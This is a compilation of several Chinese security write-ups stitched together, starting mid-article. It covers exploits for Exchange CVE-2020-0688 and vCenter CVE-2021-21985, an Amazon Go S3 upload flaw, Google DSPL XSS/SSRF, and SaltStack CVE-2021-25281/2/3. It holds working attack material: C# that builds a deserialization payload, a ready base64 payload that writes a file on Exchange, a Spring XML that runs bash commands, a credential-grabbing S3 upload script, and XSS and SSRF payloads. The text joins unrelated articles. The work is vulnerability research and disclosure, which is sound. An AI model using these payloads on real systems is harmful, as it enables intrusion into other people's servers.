随后将需要序列化的对象加入一个List中，并且最后也将角色类似本文TreeSet的Hashtable加入List，最后序列化整个List对象生成Payload。
照这么看，推测很可能是由于某个特性，默认情况下这些不可序列化的类最后才会被反序列化，而引入List来自定义各个对象的顺序可以解决这个问题。
### 0x44 最终实现
因此参照思路，再次修改测试代码如下
class Program
{
public static Comparison<string> d { get; set; }
public static Delegate da { get; set; }
static void Main(string[] args)
{
ConfigurationSettings.AppSettings.Set(
"microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck",
"true"
);
da = new Comparison<string>(String.Compare);
d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = new System.Array.FunctorComparer<string>(d);
TreeSet<string> set = new TreeSet<string>(comp);
set.Add(@"LiveIdError.aspx");
set.Add("");
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
invoke_list[1] = new Action<string, string>(File.WriteAllText);
fi.SetValue(d, invoke_list);
MemoryStream stream = new MemoryStream();
BinaryFormatter fmt = new BinaryFormatter();
SurrogateSelector ss = new MySu();
fmt.SurrogateSelector = ss;
List<object> ls = new List<object>();
ls.Add(comp);
ls.Add(set);
Console.WriteLine("[++] Serializing");
fmt.Serialize(stream, ls);
String payload = Convert.ToBase64String(stream.ToArray());
stream.Position = 0;
Console.WriteLine("[++] Deserializing");
fmt.Deserialize(stream);
Console.WriteLine(payload);
Console.Writeline("Payload Length: " + payload.Length);
Console.ReadKey();
}
internal class MySu : SurrogateSelector
{
public override ISerializationSurrogate GetSurrogate(Type type,
StreamingContext context, out ISurrogateSelector selector)
{
selector = this;
Console.WriteLine("[*] "+type);
if (!type.IsSerializable)
{
Console.WriteLine("[+] "+type);
Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}
return base.GetSurrogate(type, context, out selector);
}
}
}
编译执行，反序列化顺利完成写入文件操作，证明思路正确。但生成的Payload有点长，达到三千多字节，参照ysoserial.net项目的精简思路，裁剪到大约1900字节以内，即可实现在默认路径的ecp下写入LiveIdError.aspx空白文件，payload如下:
AAEAAAD/////AQAAAAAAAAAEAQAAADJTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3RdXQIAAAAGX2l0ZW1zBV9zaXplBQAICQIAAAACAAAAEAIAAAAEAAAACQMAAAAJBAAAAA0CDAUAAAAeU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsBQMAAABqU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLlNlcmlhbGl6YXRpb24uQWN0aXZpdHlTdXJyb2dhdGVTZWxlY3RvcitPYmplY3RTdXJyb2dhdGUrT2JqZWN0U2VyaWFsaXplZFJlZgIAAAAEdHlwZQttZW1iZXJEYXRhcwMFAXgFAAAACQYAAAAJBwAAAAwIAAAABlN5c3RlbQUEAAAANVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlRyZWVTZXRgMVtbU3lzdGVtLlN0cmluZ11dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAQABggBeAUAAAAICAAAAAIAAAAJAwAAAAEAAAAJCgAAAAQGAAAAH1N5c3RlbS5Vbml0eVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAABERhdGEJVW5pdHlUeXBlDEFzc2VtYmx5TmFtZQEAAQgGCwAAAC9TeXN0ZW0uQXJyYXkrRnVuY3RvckNvbXBhcmVyYDFbW1N5c3RlbS5TdHJpbmddXQQAAAAGDAAAAAhtc2NvcmxpYhAHAAAAAgAAAAkNAAAACQ4AAAARCgAAAAIAAAAGDwAAAAAGEAAAAFBDOlxQcm9ncmFtIEZpbGVzXE1pY3Jvc29mdFxFeGNoYW5nZSBTZXJ2ZXJcVjE0XENsaWVudEFjY2Vzc1xlY3BcTGl2ZUlkRXJyb3IuYXNweAQNAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlAAF4AQEBCREAAAANAA0ABA4AAAA9U3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuR2VuZXJpY0NvbXBhcmVyYDFbW1N5c3RlbS5TdHJpbmddXQAAAAAEEQAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkAEnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQEBAQEBBhQAAABEU3lzdGVtLkFjdGlvbmAyW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYl0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliXV0GFQAAAE5TeXN0ZW0uQ29yZSwgVmVyc2lvbj0zLjUuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkNAAkMAAAABhcAAAAOU3lzdGVtLklPLkZpbGUGGAAAAAxXcml0ZUFsbFRleHQJGQAAAAQSAAAAAXgGAAAAAAAAAAAAAQEBAQABCA0ADQANAA0AAAAAAA0AARMAAAASAAAABh4AAAAHQ29tcGFyZQ0ABiAAAAANU3lzdGVtLlN0cmluZw0ACAAAAAoBGQAAABEAAAAGIgAAACRTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nXV0JDAAAAA0ACQwAAAAJIAAAAAkeAAAACw==
后续使用zcgonvh前辈的exp即可如高版本一样实现任意代码执行，这里附一份整合本文的exp，使用方法不变，遇到Exchange Server
2010加上-v35参数即可，稍后提一份PR如果头像哥不嫌弃我代码垃圾也许会合并到exp项目。
## 0x50 弹个计算器？
由于payload长度限制的原因，直接执行命令在这个漏洞中已经意义不大，然而不管完美不完美，弹个计算器是每一个代码执行漏洞的基本要求，按同样的思路这里再测试一段弹计算器的Payload。
## 0x60 一点感想
这几年各种各样的漏洞层出不穷，各种一键GetShell比比皆是，然而烂尾的漏洞也不少，披露信息只有寥寥数语就再也没有后续或者实际利用存在各种限制，也许很多漏洞都值得重新调试来发现更多可能。
调试这个漏洞的过程中学到了大量.Net和反序列化相关的知识，非常感谢@zcgonvh
前辈的帮助，给了我强大的信心，但在下对这些知识的理解仍然十分粗浅，文中仍可能有错漏之处，敬请读者指正。
唯一纠结是LiveIdError.aspx这个全版本默认都不存在的文件本身作用到底是什么，检索了一些资料仍无法理解，结合默认沿用多年的MachineKey，多多少少让这个漏洞有点后门的嫌疑。
在调试完在CVE-2020-0688低版本的利用之后，再次回顾@zcgonvh
的分析文章，才发现竟然早已包含本文几乎所有必要知识，不得不说zcgonvh前辈真是功力深厚，而且对迟钝如我这样的菜鸟路人，仍愿意不厌其烦的提点，实在令人敬佩，神秘的A-TEAM又令人多向往了一分。
## 参考资料
<https://www.t00ls.net/viewthread.php?tid=55183>
<https://community.microfocus.com/t5/Security-Research-Blog/New-NET-deserialization-gadget-for-compact-payload-When-size/ba-p/1763282>
* * * | 社区文章 |
# VCSA 6.5-7.0 远程代码执行 CVE-2021-21985 漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 360 Noah Lab，文章来源：360 Noah Lab
原文地址：[360 Noah Lab](360 Noah Lab)
译文仅供参考，具体内容表达以及含义原文为准。
作者：Ricter Z
> vSphere vCenter Server 的 vsphere-ui 基于 OSGi 框架，包含上百个 bundle。前几日爆出的任意文件写入漏洞即为
> vrops 相关的 bundle 出现的问题。在针对其他 bundle 审计的过程中，发现 h5-vsan 相关的 bundle 提供了一些 API
> 端点，并且未经过授权即可访问。通过进一步的利用，发现其中某个端点存在安全问题，可以执行任意 Spring Bean 的方法，从而导致命令执行。
## 漏洞时间线：
* 2021/04/13 – 发现漏洞并实现 RCE；
* 2021/04/16 – 提交漏洞至 VMware 官方并获得回复；
* 2021/05/26 – VMware 发布漏洞 Advisory（[VMSA-2021-0010](https://www.vmware.com/security/advisories/VMSA-2021-0010.html)）；
* 2021/06/02 – Exploit 公开（from [随风’s blog](https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/)）；
* 2021/06/05 – 本文公开。
## 0x01. 漏洞分析
存在漏洞的 API 端点如下：
图 1. 存在漏洞的 Controller
首先在请求路径中获取 Bean 名称或者类名和方法名称，接着从 POST 数据中获取 methodInput 列表作为方法参数，接着进入
invokeService 方法：
图 2. invokeService 方法
invokeServer 先获取了 Bean
实例，接着获取该实例的方法列表，比对方法名和方法参数长度后，将用户传入的参数进行了一个简单的反序列化后利用进行了调用。Bean
非常多（根据版本不同数量有微量变化），如图所示：
图 3. Bean 列表
其中不乏存在危险方法、可以利用的 Bean，需要跟进其方法实现进行排查。本文中的 PoC 所使用的 Bean 是 vmodlContext，对应的类是
com.vmware.vim.vmomi.core.types.impl.VmodContextImpl，其中的 loadVmodlPackage
方法代码如下：
图 4. loadVmodlPackage 方法
注意到 loadVmodlPackage 会调用 SpringContextLoader 进行加载，vmodPackage 可控。
图 5. 调用 SpringContextLoader
最终会调用到 ClassPathXmlApplicationContext
的构造方法。ClassPathXmlApplicationContext可以指定一个 XML 文件路径，Spring 会解析 XML 的内容，造成 SpEL
注入，从而实现执行任意代码。
图 6. ClassPathXmlApplicationContext
需要注意的是，在 SpringContextLoader 的 getContextFileNameForPackage 会将路径中的 .替换为
/，所以无法指定一个正常的 IPv4 地址，但是可以利用数字型 IP 绕过：
图 7. 调用 loadVmodlPackages 方法并传入 URL
XML 文件内容及攻击效果如下：
图 8. XML 文件内容及攻击效果
## 0x02. 不出网利用（6.7 / 7.0）
若要利用此漏洞本质上需要获取一个 XML 文件的内容，而 Java 的 URL 并不支持 data 协议，那么需要返回内容可控的 SSRF
或者文件上传漏洞。这里利用的是返回内容可控的 SSRF 漏洞。漏洞位于 vSAN Health 组件中的 VsanHttpProvider.py：
图 9. VsanHttpProvider.py 文件内容
这里存在一个 SSRF 漏洞，使用的是 Python 的 urlopen 函数进行请求，接着将返回内容在内存中进行解压，并且匹配文件名为
.*offline_bundle.* 的内容并进行返回。Python 的 urlopen 支持 data 协议，所以可以构造一个压缩包并 Base64
编码，构造 data 协议的 URL：
图 10. 利用 SSRF 返回可控文件内容
在利用的过程中，将 IP 地址替换为 localhost 即可防止 . 被替换。由于这个端点在 6.5 版本的 vSAN Health 不存在，所以无法在
6.5 版本上不出网利用。
现在虽然不用进行外网请求，但是仍然无法获取命令回显。通过查看 Bean 列表，发现存在名为 systemProperties 的 Bean。同时这个
Bean 也存在方法可以获取属性内容：
图 11. 调用 systemProperties 的方法
所以在执行 SpEL 时，可以将命令暂存到 systemProperties 中，然后利用 getProperty方法获取回显。最终的
context.xml 内容为：
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[ ls -la / 2>&1 ]]></value>
</list>
</constructor-arg>
</bean>
<bean id="is" class="java.io.InputStreamReader">
<constructor-arg>
<value>#{pb.start().getInputStream()}</value>
</constructor-arg>
</bean>
<bean id="br" class="java.io.BufferedReader">
<constructor-arg>
<value>#{is}</value>
</constructor-arg>
</bean>
<bean id="collectors" class="java.util.stream.Collectors"></bean>
<bean id="system" class="java.lang.System">
<property name="whatever" value="#{ system.setProperty("output", br.lines().collect(collectors.joining("\n"))) }"/>
</bean>
</beans>
12345678910111213141516171819202122232425262728
最终利用需要两个 HTTP 请求进行。第一个请求利用 h5-vsan 组件的 SSRF 去请求本地的 vSAN Health 组件，触发第二个 SSRF
漏洞从而返回内容可控的 XML 文件内容，XML 文件会执行命令并存入 System Properties 中，第二个请求调用
systemProperties Bean 的 getProperty 方法获取输出。最终攻击效果如下：
图 12. 不出网攻击效果
## 0x03. 技术总结 | 社区文章 |
原文：<https://rhinosecuritylabs.com/aws/amazon-aws-misconfiguration-amazon-go/>
**背景知识**
* * *
今年早些时候，亚马逊全新的智能零售店[Amazon
Go](https://www.amazon.com/b?ie=UTF8&node=16008589011 "Amazon
Go")正式向公众开放，由于这种零售店提供了自动结账系统，所以，商店内根本就没有收银员！因此，这种商店将有望彻底改变人们的购物体验。
概括来说，这种零售店的运作方式为：首先，客户需要下载Amazon
Go移动应用程序，并使用关联了信用卡的亚马逊帐户登录。然后，购物者只需扫描应用程序显示的条形码，商店的旋转门就自动打开，顾客就可以入店正常购物了。实际上，客户完成购物后，即拿即走，无需在收银台前滞留。Amazon
Go的传感器会计算顾客有效的购物行为，并在顾客离开商店后，自动根据顾客的消费情况在亚马逊账户上结账收费。
我们知道，Amazon S3服务提供了存放各种使用场景下的文件和信息的存储桶（bucket）。实际上，Amazon Go恰好就使用了[AWS
S3](https://aws.amazon.com/s3/ "AWS S3")服务，这就是本文介绍的漏洞的根源。
**老漏洞，新应用：AWS S3存储桶的权限问题**
* * *
最近对多个企业环境的检查表明，对于使用Amazon Web
Services（AWS）的公司来说，在云安全方面，很难做到面面俱到，尤其是在边缘安全问题方面。这些边缘安全问题包括，各种可公开读/写的AWS
S3存储桶、公开的密钥对、未经身份验证的数据库访问等。在本文中，我们将详细介绍Amazon
Go移动应用程序中的一种错误配置问题，这个安全漏洞会允许未经身份验证的用户将任意文件上载到Amazon Go S3存储桶中。
当然，这个漏洞已经在我们与Amazon Go的通力合作下修复过了，在这里，我们只是通过它来说明AWS云中的配置问题是多么的常见，及其危害的严重性。
**Amazon Go攻击情景**
* * *
虽然Amazon Go商店才开业不久，但是，鉴于以前曾在Amazon Key中发现了一个高危漏洞，因此，我们对测试Amazon
Go的安全性及其两者之间的关系非常感兴趣。
此前，我们曾试图通过BurpSuite拦截来自移动应用的API请求(未成功)，为此，我们去了Amazon
Go实体店(位于华盛顿州西雅图)，带了一台笔记本电脑、一个wifi热点和一部手机。我们的目标是试图用Burp拦截来自店内顾客移动应用程序的流量，来看看顾客进入商店、拿起/放下商品、在店内走动以及最后离开时，是否会发送相关的请求。
**初步发现**
* * *
我们用BurpSuite进行了一些测试，结果发现了一个有趣的请求，它返回的JSON对象竟然包含密钥的“accessKeyId”、“secretAccessKey”、“sessionToken”、“url”和“timeout”。其中，密钥和会话令牌是AWS凭证，URL是AWS简单队列服务（SQS）的URL，超时时间约为1.5秒。稍加研究后，我们发现SQS的URL格式为"
<https://sqs.[region].amazonaws.com/[aws> account id (可能所有用户的都一样)]/DeviceQueue
_[customer id]_ [mobile device id] "。
接下来，我们需要在AWS上测试访问密钥、密钥和会话令牌，看看这些凭证是否有效。由于超时的限制，如果手工测试的话，还来不及动手，密钥早就失效了。为了避免这种情况，我们编写了一个python脚本来生成初始请求，该请求将返回相关凭证，然后快速将返回的凭证用于后续的请求。
不出所料，利用这些密钥发送请求后，我们可以根据返回的JSON对象中的AWS SQS URL，来轮询和删除该特定SQS
URL所对应的消息。此外，我们还尝试了其他常规权限，但都无法访问任何其他内容。
在该请求中，会发送一个“X-Amz-Target：com.amazon.ihmfence.coral.IhmFenceService.getTransientQueue”头部。正如我们稍后发现的那样，该头部的值显然是对Java编程语言中的类的引用，因为这个Android应用程序就是用Java语言编写的。
**静态分析**
* * *
此后，我们对应用程序进行了静态分析，以了解“X-Amz-Target”头部的相关情况。我们将应用程序复制到了一台计算机上，然后，使用名为[JADX](https://github.com/skylot/jadx
"JADX")的工具将.apk文件反编译为Java，这样，我们就能更加轻松地梳理得到的源代码了。
首先，我们从搜索“X-Amz-Target”头部所引用的类，即“getTransientQueue”开始下手，找到了“GetTransientQueueInput”和“GetTransientQueueOutput”，它们位于“com
-> amazon -> ihm -> fence”中。此外，这里还有许多类似“GetXYZ”格式的其他类，好像都属于“FenceClient”类。
通过浏览“FenceClient”类，我们发现了大量有用的信息。首先，处理我们正在拦截的HTTP请求的函数，会引用前面的“X-Amz-Target”头部。
在这个类中，还引用了所有可能代替图中“operation”变量的各个选项，其中一个被称为“getUploadCredentialsV2”，这个看起来正是我们感兴趣的。
接下来，我们使用Burp Suite重发同样的请求，只是这里将“X-Amz-Target”头部的值替换为“com.amazon.ihmfence.coral.IhmFenceService.getUploadCredentialsV2”，这样，就能再次从响应中得到访问密钥、机密密钥、会话令牌和超时值。接下来，我们将再次借助python脚本，不过这里需要替换其中的某些值，让便它使用“getUploadCredentialsV2”，并测试与这些密钥相关的权限。在使用这些密钥测试随机权限之前，我们决定考察更多的源代码，以弄清这个函数的用途。我们快速搜索了导入和使用该函数的位置，并发现了“LoggingUploadService”类。所以，正是它使用这些AWS密钥来上传日志。该类中有一个函数“onCreate”，其中包含一个变量“this.s3BucketName”，它被赋值为“ihm-device-logs-prod”。同时，我们还发现这个S3存储桶的公共权限被锁定了。
回到python脚本，我们又添加了一些代码，这些代码将使用AWS密钥来测试该存储桶上的S3权限。在尝试上传文件之前，我们尝试了许多与S3相关的权限，但都没有成功。然后，我们创建了一个文件“test.txt”，并在其中添加了单词“test”，修改python脚本，让它尝试将文件上传到S3存储桶......它成功了！
下面是该脚本的最终版本，读者也可以从[GitHub](https://github.com/RhinoSecurityLabs/Security-Research/blob/master/exploits/Amazon%20Go/s3-arbitrary-file-upload.py
"GitHub")上下载：
#!/usr/bin/env python
import json, boto3, requests
# Make the request to getUploadCredentialsV2 which will return the AWS access key, secret key, and session token
response = requests.post('https://mccs.amazon.com/ihmfence',
headers={
'Accept': 'application/json',
'x-amz-access-token': 'my-x-amz-access-token',
'Content-Encoding': 'amz-1.0',
'X-Amz-DevicePlatform': 'ios',
'X-Amz-AppBuild': '4000022',
'Accept-Language': 'en-us',
'X-Amz-DeviceId': 'my-device-id',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/json',
'User-Agent': 'Amazon Go/4000022 CFNetwork/808.0.2 Darwin/16.0.0',
'Connection': 'close',
'X-Amz-DevicePlatformVersion': '10.0.2',
'X-Amz-Target': 'com.amazon.ihmfence.coral.IhmFenceService.getUploadCredentialsV2',
'X-Amzn-AppVersion': '1.0.0'
},
cookies={
'ubid-tacbus': 'my-ubid-tacbus',
'session-token': 'my-session-token',
'at-tacbus': 'my-at-tacbus',
'session-id': 'my-session-id',
'session-id-time': 'some-time'
},
# Send an empty JSON object as the body
data='{}'
)
# Store the values returned in the response
obj = response.json()
access_key = obj['accessKey']
secret_key = obj['secretKey']
session_token = obj['sessionToken']
# Create an S3 boto3 resource
s3 = boto3.resource(
's3',
aws_access_key_id=access_key,
aws_secret_access_key=secret_key,
aws_session_token=session_token,
region_name='us-west-2'
)
# Upload my local ./test.txt file to ihm-device-logs-prod with the name test.txt
upload = s3.meta.client.upload_file('./test.txt', 'ihm-device-logs-prod', 'test.txt')
# Print the results
print(upload)
现在，我们能够将任意文件上传到Amazon
Go的日志记录S3存储桶了。需要说明的是，上传后，我们无法对其执行任何其他操作，所以，我们只是把它从自己手中上传到该存储桶而已。
在这里，我们想看看上传的文件到底是什么样的。所以，就在已经取得root权限的Android设备上搜索文件系统，查找其中的日志文件，结果一无所获。看起来日志文件在上传到S3后会从手机本地删除，所以，我们决定将其置于飞行模式，并不停打开/关闭/操作应用程序，从而让系统生成一些日志文件，然后，我们就应当能够看到这些文件了，因为在不联网的情况下，手机是不会进行上传和删除操作的。
我们最终找到了一些日志，它们的名称格式为“ERRORDIALOG_Month
_DD_YYYY_HH：MM：SS_log.gz”。.gz文件只包含一个同名的文件，只是没有.gz扩展名。在文本编辑器中打开该文件，发现有很多关于尝试执行不同操作的错误，但都因为没有联网而失败了。文件中的最后一个任务是调用LogUploadManager函数，此时将创建下一个日志文件。日志文件的格式非常简单，可以在上传之前轻松进行修改，从而可能导致其他攻击。
在下图中，您可以看到日志文件其中一个片段，它表明系统正在尝试连接到Internet。
**漏洞的影响**
* * *
如果可以将任意文件上传到专用S3存储桶的话，攻击者就能用垃圾文件塞满存储桶，从而占用大量空间来浪费公司的资金。当然，这些钱对于Amazon公司（AWS的母公司）来说影响不大，但对中小型公司来说，却是不容忽视的。
此处，还存在其他攻击方式，包括感染日志或已上传的其他文件，从而导致数据的恶意执行等。
**结束语**
* * *
AWS是一个非常复杂的云环境，即使是经验老道的用户，在配置过程中也难免出错。因此，在创建应用程序和部署时，必须通过AWS环境中的渗透测试来验证配置的正确性。通过这些测试，不仅可以降低配置错误的可能性，同时，还能提高系统的安全性。 | 社区文章 |
原文：<https://s1gnalcha0s.github.io/dspl/2018/03/07/Stored-XSS-and-SSRF-Google.html>
“谁主宰了数据，谁就将主宰整个世界。”——孫正義
摘要：通过精心构造的DSPL（Dataset Publishing Language）Bundle，攻击者就可以在www.google.com
的上下文中植入存储型XSS漏洞，然后，就可以利用DSPL的远程数据源功能来访问本地服务了（即SSRF）。
[Google公共数据资源管理器](https://www.google.com/publicdata/directory
"Google公共数据资源管理器")是一个简化大型数据集的浏览和可视化工作的工具。举例来说，通过它，我们可以方便地实现政府卫生支出、世界银行数据等大型数据集的可视化。
DSPL（Dataset Publishing Language）不仅会使用XML来描述数据集的元数据，同时还会用到CSV数据文件，如sample.zip。
Archive: sample.zip
Length Date Time Name
* * *
246 02-01-2018 13:19 countries.csv
221 02-14-2011 17:13 country_slice.csv
7812 03-04-2018 21:12 dataset.xml
246 02-14-2011 17:13 gender_country_slice.csv
28 01-29-2018 20:55 genders.csv
200 02-14-2011 17:13 state_slice.csv
300 01-29-2018 21:11 states.csv
* * *
9053 7 files
问题在于，Google公共数据资源管理器会在无视上下文的情况下使用数据集归档中的某些元数据，也就是说，它根本就没有考虑这些数据的编码或验证问题。
举例来说，它会像下面这样来使用sample 数据集：
curl https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/dspl/tutorial1.0.zip -o sample.zip
unzip sample.zip; rm sample.zip
此外，它还允许修改dataset.xml的元数据名称的值。在下面的例子中，用到了XML的CDATA区段，以防止JavaScript
payload被当做XML标记来处理。
<info>
<name>
<value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>
<description>
<value>Some very interesting statistics about countries</value>
</description>
<url>
<value>http://google.com</value>
</url>
</info>
* zip -r poc.dspl *
* 将数据集上传到Google公共数据资源管理器，然后公开分享该数据集。
这样的话，凡是查看这个共享数据集的人，都会在www.google.com 域的上下文中执行攻击者的JavaScript脚本。（例如，coinhive代码）
下面的短视频展示了它在修复之前的情形——可以通过DSPL在www.google.com 上下文中植入存储型XSS：
视频演示地址：<https://vimeo.com/258923005>
除此之外，DSPL还提供了从[远程HTTP或FTP数据源](https://developers.google.com/public-data/docs/cookbook#remote_data
"远程HTTP或FTP数据源")检索数据的功能。借助该功能，攻击者就能够通过SSRF（服务器端请求伪造）来访问本地主机的服务资源了（可能还允许访问内部的、禁止通过互联网访问的系统/设备）。
例如，poc.dspl/dataset.xml 的内容。
<table id="my_table">
<column id="first" type="string"/>
<column id="last" type="string"/>
<data>
<file format="csv" encoding="utf-8">ftp://0.0.0.0:22</file>
</data>
</table>
上传该数据集时，将返回出错的HTTP/FTP请求的响应，以给出相应的错误状态。例如，
在上图中，它显示了本地SSH的banner响应，实际上，这本来是一种非公开访问的服务。
上述漏洞，是我在一月份休假是发现的。在这里，我要特别感谢@sirdarckcat，以及谷歌安全团队提供的令人印象深刻的VRP！
如果读者在阅读本文过程中发现了谬误之处，希望能够不吝赐教，我的联系方式：@signalchaos。
感谢您花费宝贵的时间阅读本文，祝阅读愉快！
漏洞披露时间线：
2018年1月：向Google报告
2018年2月：确认报告的问题已修复
2018年2月：针对存储型XSS漏洞，奖励5,000美元
2018年3月：针对SSRF漏洞，奖励$ 13,337 | 社区文章 |
**作者： 1mperio@云鼎实验室
原文链接：<https://mp.weixin.qq.com/s/iu4cS_DZTs0sVVg92RBe4Q>**
北京时间2月26日凌晨3点，SaltStack官方发布高危漏洞风险通告，包含CVE-2021-25281、25282、25283。此前，云鼎实验室安全研究员1mperio就曾发现该漏洞，并于2020年11月16日报送给SaltStack官方。
在对CVE-2020-17490和CVE-2020-16846进行分析后，发现CVE-2020-17490的补丁存在未修补完全的情况，导致wheel_async仍然存在未授权访问，可以调用wheel模块中的方法，基于此对SaltStack的wheel模块中的方法进行分析，最终发现加载配置模块存在模板注入，可以实现未授权远程代码执行。
## **引言**
SaltStack是VMware子公司，其产品用于运维管理，能够支持数万台服务器，主要功能是配置文件管理和远程执行命令，十分易用且强大，在github有11.4k
star。
SaltStack只用python开发，采用C/S架构，其中Server被称为Master，Client被称为Minion，即一个Master能够向多个Minion下发配置文件，远程执行命令。SlatStack是系统总称，主要有salt、salt-master、salt-minion、salt-api等程序组成，其中salt-master和salt-minion的功能为从指定路径读取配置文件并启动。salt-master监听4505和4506端口，分别用于发布消息和接受监控数据。
salt程序可以调用大量函数，并可以指定minion或指定一组minion作为目标。salt-api可以使用cherrypy或tornado来对外提供REST接口，默认使用cherrypy。
本文主要对salt-master和salt-api展开讨论。
文中指定代码位置采用以下约定：FileLocation:Classname.method()或FileLocation:Method()
## **CVE-2021-25281 未授权访问**
通过分析CVE-2020-25592的
<https://gitlab.com/saltstack/open/salt-patches/-/blob/master/patches/2020/09/25/3002.patch>
可以发现
，补丁通过调用认证模块对SSH方法进行权限认证，而salt/salt/netapi/init.py:NetapiClient.run()方法通过getattr动态调用NetapiClient类中的方法，并将args和kwargs作为参数传入。
该类中可调用的方法有
1 — local
2 — local_async
3 — local_batch
4 — local_subset
5 — runner
6 — runner_async
7 — ssh
8 — wheel
9 — wheel_async
经过分析，其中，wheel_async方法存在未授权调用，其他方法(除去SSH)均为生成一个job到zeromq，其后进行消费者再进行认证，而wheel_async异步调用wheel包中的方法。
调用链如下：
salt/salt/netapi/init.py:NetapiClient.run() ⇒
salt/salt/netapi/init.py:NetapiClient.wheel_async() ⇒
salt/salt/wheel/init.py:WheelClient.cmd_async() ⇒
salt/salt/client/mixins.py:AsyncClientMixin.asynchronous()
salt/salt/client/mixins.py:AsyncClientMixin.asynchronous()
这里的目标函数是self._proc_function，low参数为POST可控参数，fun参数的值在salt/salt/wheel/init.py:WheelClient.cmd_async()方法中通过low参数的fun键获取。
这里通过salt/salt/client/mixins.py:AsyncClientMixin._proc_function()函数调用salt/salt/client/mixins.py:SyncClientMixin.low()，并通过该函数使用args参数和kwargs参数动态调用wheel包中的方法。
salt/salt/client/mixins.py:SyncClientMixin.low()
可调用的方法如下：
config.apply
config.update_config
config.values
error.error
file_roots.find
file_roots.list_env
file_roots.list_roots
file_roots.read
file_roots.write
key.accept
key.accept_dict
key.delete
key.delete_dict
key.finger
key.finger_master
key.gen
key.gen_accept
key.gen_keys
key.gen_signature
key.get_key
key.print
key.list
key.list_all
key.master_key_str
key.name_match
key.reject
key.reject_dict
minions.connected
pillar_roots.find
pillar_roots.list_env
pillar_roots.list_roots
pillar_roots.read
pillar_roots.write
## **CVE-2021-25282 有限制任意文件写漏洞**
其中salt/salt/wheel/pillar_roots.py:write()方法存在任意写入文件漏洞，不过需要 **opts**
["pillar_roots"]中的路径存在。
这里的读文件是没有办法利用的，由于是异步调用，所以返回的是jid和tag，通过jid和tag去查询任务执行的结果时是有认证的。
salt/salt/wheel/pillar_roots.py:write()
## **CVE-2021-25283 模板注入漏洞**
通过—log-level=debug参数开启debug模式，定位到了master自动加载的逻辑。
salt/salt/master.py:Maintenance.run()
从代码中可以看出，每一个self.loop_interval将循环一次，loop_interval在配置文件中可以配置，默认为60s。通过debug发现在salt.daemons.masterapi.clean_old_jobs中读取minion配置文件。
调用栈如下：
salt/salt/daemons/masterapi.py:clean_old_jobs() ⇒
salt/salt/minion.py:MasterMinion.init() ⇒
salt/salt/config/init.py:minion_config()
在
salt/salt/minion.py:MasterMinion.init()中发现，自动加载值加载grains相关的参数，grains为saltstack收取各个minion中系统信息的功能。
salt/salt/minion.py:MasterMinion.init()
salt/salt/config/init.py:minion_config()
可以看到minio在加载配置文件的时候调用了一个很诱人的方法apply_sdb()，这个方法解析配置中以sdb://开头的字符串。
salt/salt/config/init.py:apply_sdb()
salt/salt/utils/sdb.py:sdb_get()
在这个函数中sdb://aaaa/bbbb字符串，saltstack将会在配置文件中找aaaa这个配置项，并读取其中driver字段，赋值给fun变量，经bbbb赋值给query参数。最后的salt.loader.sdb(opts,
fun,
utils=utils)是一个动态调用，通过LazyLoader加载fun变量值对应的方法，并调用，其中LazyLoader将加载salt.sdb包下的所有文件，并调用其中的get方法。
经过查找，最终定位到salt/salt/sdb/rest.py文件。
salt/salt/sdb/rest.py:query()
在这里，key为上述字符串中bbbb的值，可以看到这里还接收形如bbbb?ccc=ddd的参数，并且通过**key_vars传递到compile_template方法中。
这里的render使用的是jinja，众所周知，jinja是可以进行模板注入的，也就是说，在模板可控的情况下，如果不存在过滤，将可以执行任意代码，并且这里传入的参数是profile[key]['url']，也就是配置文件中aaaa配置项中bbbb字典url的值。compile_template函数详情如下：
salt/salt/template.py:compile_template()
这里的render调用的是salt/salt/renderers/jinja.py中的render方法，调用链如下：
salt/salt/template.py:compile_template() ⇒
salt/salt/utils/templates.py:JINJA() ⇒
salt/salt/utils/templates.py:wrap_tmpl_func() ⇒
salt/salt/utils/templates.py:render_jinja_tmpl()
最后调用到render_jinja_tmpl中的template.render()方法，在此处渲染模板，此中并未对传入的参数进行过滤，可以进行模板注入。
